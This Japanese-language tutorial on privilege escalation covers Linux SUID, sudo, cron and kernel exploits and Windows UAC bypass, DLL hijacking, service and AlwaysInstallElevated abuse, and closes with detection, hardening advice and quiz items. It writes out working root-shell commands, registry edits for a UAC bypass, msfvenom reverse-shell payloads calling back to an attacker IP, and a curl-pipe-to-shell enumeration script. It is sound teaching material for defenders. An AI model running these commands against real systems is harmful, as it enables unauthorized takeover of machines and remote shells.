権限昇格とは何か

権限昇格(Privilege Escalation)とは、攻撃者が最初に取得した低い権限のアカウントから、より高い権限(root・Administrator・SYSTEM)を獲得するプロセスです。MITRE ATT&CK フレームワークでは TA0004 Privilege Escalation として分類され、多数の具体的な手法(Technique)が定義されています。

侵入直後の攻撃者は、多くの場合 SSH の一般ユーザーや、フィッシングで奪ったWebアプリの実行ユーザーといった限定的な権限しか持っていません。この状態では機密ファイルへのアクセス、バックドアの永続化、横展開(ラテラルムーブメント)が困難です。権限昇格によって管理者権限を得ることで、攻撃者は組織内で自由に行動できるようになります。

ポイント

権限昇格には 垂直的権限昇格(一般ユーザー → 管理者)と 水平的権限昇格(同じ権限レベルの別ユーザーに横移動)の2種類があります。本記事では主に垂直的権限昇格を扱います。


Linux における権限昇格手法

1. SUID/SGID ビット悪用(T1548.001)

SUID(Set User ID)ビットが設定された実行ファイルは、そのファイルのオーナー権限で実行されます。root が所有する SUID ファイルを一般ユーザーが実行すると、一時的に root 権限を持てます。これ自体は正当な仕組みですが、設定ミスや脆弱なバイナリが存在すると悪用されます。

SUID が設定されたファイルの探索:

SUID/SGID ビットが設定されたファイルを検索

find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null

SUID ファイルの一覧(よく知られた悪用可能なバイナリを確認)

find / -perm -u=s -type f 2>/dev/null | xargs ls -la

悪用例 — find コマンドへの SUID 設定:

find コマンドに SUID が設定されている場合

ls -la /usr/bin/find

-rwsr-xr-x 1 root root … /usr/bin/find

GTFOBins を利用して root シェルを取得

/usr/bin/find . -exec /bin/sh -p ; -quit

whoami で権限確認

whoami

root

注意

GTFOBins(https://gtfobins.github.io)は、SUID・sudo・cron などで悪用可能なバイナリの一覧を提供するリソースです。攻撃者はこのサイトを参照して悪用可能なバイナリを素早く特定します。防御担当者も同様に把握しておく必要があります。

2. sudoers 設定ミスの悪用(T1548.003)

/etc/sudoers の誤った設定により、一般ユーザーが特定のコマンドを root 権限で実行できる場合があります。

現在のユーザーが使用できる sudo コマンドを確認

sudo -l

出力例(危険な設定):

User webdev may run the following commands on target:

(ALL) NOPASSWD: /usr/bin/vim

vim を sudo で起動し、シェルを起動

sudo vim -c ’:!/bin/bash’

3. cron ジョブの悪用(T1053.003)

root 権限で実行される cron ジョブが、一般ユーザーが書き込み可能なスクリプトを参照している場合、そのスクリプトを改ざんして権限昇格できます。

cron ジョブの設定を確認

cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/

書き込み可能なスクリプトを発見した場合

echo “chmod +s /bin/bash” >> /opt/backup/backup.sh

cron が実行された後

/bin/bash -p whoami

root

警告

cron ジョブの悪用は発見が難しく、定期的に実行されるため持続的な権限昇格の手段となります。スクリプトファイルのパーミッションと所有者を定期的に監査してください。

4. カーネル脆弱性の悪用

カーネルそのものの脆弱性を突く手法は、最も強力な権限昇格方法の一つです。

カーネルバージョンの確認

uname -a

Linux target 4.15.0-112-generic #113-Ubuntu …

CVE データベースや exploit-db でカーネルバージョンに対応する脆弱性を検索

DirtyCow(CVE-2016-5195)の例

gcc -pthread dirtyc0w.c -o dirtyc0w ./dirtyc0w /etc/passwd new_password_hash


Windows における権限昇格手法

1. UAC バイパス(T1548.002)

ユーザーアカウント制御(UAC)は Windows の重要なセキュリティ機能ですが、様々なバイパス手法が知られています。

PowerShell でのUAC確認

[Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() ` | Select-Object -ExpandProperty IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

fodhelper.exe を利用したUACバイパス(管理者グループメンバーが前提)

New-Item “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name “(default)” -Value “cmd /c start cmd.exe” -Force Start-Process “C:\Windows\System32\fodhelper.exe”

ポイント

UACME(https://github.com/hfiref0x/UACME)プロジェクトには 60 以上の既知の UAC バイパス手法がまとめられています。これらを把握することで、防御側は適切な検出ルールを作成できます。

2. DLL ハイジャッキング(T1574.001)

Windows アプリケーションが DLL を検索する際の順序(DLL Search Order)を悪用し、正規の DLL より先に悪意のある DLL を読み込ませる手法です。

Procmon(Sysinternals)でDLL Not Found のエントリを特定する

フィルタ: Result is NAME NOT FOUND, Path ends with .dll

書き込み可能なディレクトリに悪意のある DLL を配置

msfvenom でペイロードを生成する例

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 ` -f dll -o version.dll

ターゲットのアプリケーションディレクトリに配置

copy version.dll “C:\Program Files\VulnerableApp\version.dll”

3. サービスの設定ミス(T1574.010)

Windowsサービスのバイナリパスや権限設定のミスを悪用する手法です。

サービスのバイナリパスに書き込み権限があるか確認(PowerShell)

Get-WmiObject Win32_Service | Where-Object StartMode -eq Auto | Select-Object Name, PathName, StartName

sc コマンドでサービス設定を確認

sc qc VulnerableService

引用符なしのサービスパス(Unquoted Service Path)を利用した悪用例

パス: C:\Program Files\My App\service.exe

Windows は以下の順で実行を試みる:

C:\Program.exe

C:\Program Files\My.exe ← ここに書き込めれば権限昇格可能

C:\Program Files\My App\service.exe

4. AlwaysInstallElevated(T1548.002)

レジストリの AlwaysInstallElevated が有効な場合、一般ユーザーが SYSTEM 権限で MSI インストーラーを実行できます。

レジストリキーの確認

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

両方が 0x1 であれば悪用可能

msfvenom で悪意のある MSI を生成

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o evil.msi

インストール実行(SYSTEM として動作)

msiexec /quiet /qn /i evil.msi

注意

AlwaysInstallElevated はグループポリシーで有効化される設定です。Active Directory 環境では GPO の設定を定期的に監査し、この設定が有効になっていないことを確認してください。


自動化された権限昇格チェックツール

実際のペネトレーションテストでは、自動化ツールを使って権限昇格の可能性を素早くスキャンします。

Linux: LinPEAS(Linux Privilege Escalation Awesome Script)

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Linux: Linux Smart Enumeration

wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh chmod +x lse.sh && ./lse.sh -l 1

Windows: WinPEAS

.\winPEASx64.exe

Windows: PowerUp(PowerSploit の一部)

Import-Module .\PowerUp.ps1 Invoke-AllChecks


検出と防御手法

検出ポイント

権限昇格の試みは以下のログやイベントで検出できます。

【Linux 検出】

  • /var/log/auth.log: sudo コマンドの実行ログ
  • auditd ログ: SUID バイナリの実行(-a always,exit -F perm=x -F auid>=1000)
  • /etc/passwd や /etc/shadow の変更イベント

【Windows 検出】

  • イベントID 4672: 特別な権限が割り当てられたログオン
  • イベントID 4688: プロセス作成(トークン昇格のフラグ確認)
  • イベントID 4697: システムへのサービスインストール
  • Sysmon イベントID 1: プロセス作成(IntegrityLevel の変化)

防御のベストプラクティス

ヒント

最小権限の原則(Principle of Least Privilege) を徹底することが権限昇格対策の基本です。ユーザー・サービス・アプリケーションに必要最低限の権限のみを付与し、定期的に棚卸しを行います。

  1. Linux の強化

    • find / -perm -4000 を定期実行し、不審な SUID バイナリを検出する
    • /etc/sudoers を最小限の設定に維持し、NOPASSWD の使用を避ける
    • cron スクリプトのパーミッションを root 所有・非書き込みに設定する
    • カーネルを常に最新の状態に保つ(unattended-upgrades の活用)
  2. Windows の強化

    • UAC を「常に通知」レベルに設定する
    • AlwaysInstallElevated を無効化する
    • サービスバイナリのパスを引用符で囲み、書き込み権限を最小化する
    • Windows Defender Credential Guard・Attack Surface Reduction ルールを有効化する
  3. 共通の対策

    • Privileged Access Workstation(PAW)の導入
    • 特権アカウントの多要素認証(MFA)必須化
    • EDR/XDR ソリューションによるリアルタイム監視

理解度チェック

Linux において SUID ビットが設定されたバイナリを検索するコマンドとして正しいものはどれですか?

理解度チェック

Windows の AlwaysInstallElevated 設定が悪用可能な状態とはどれですか?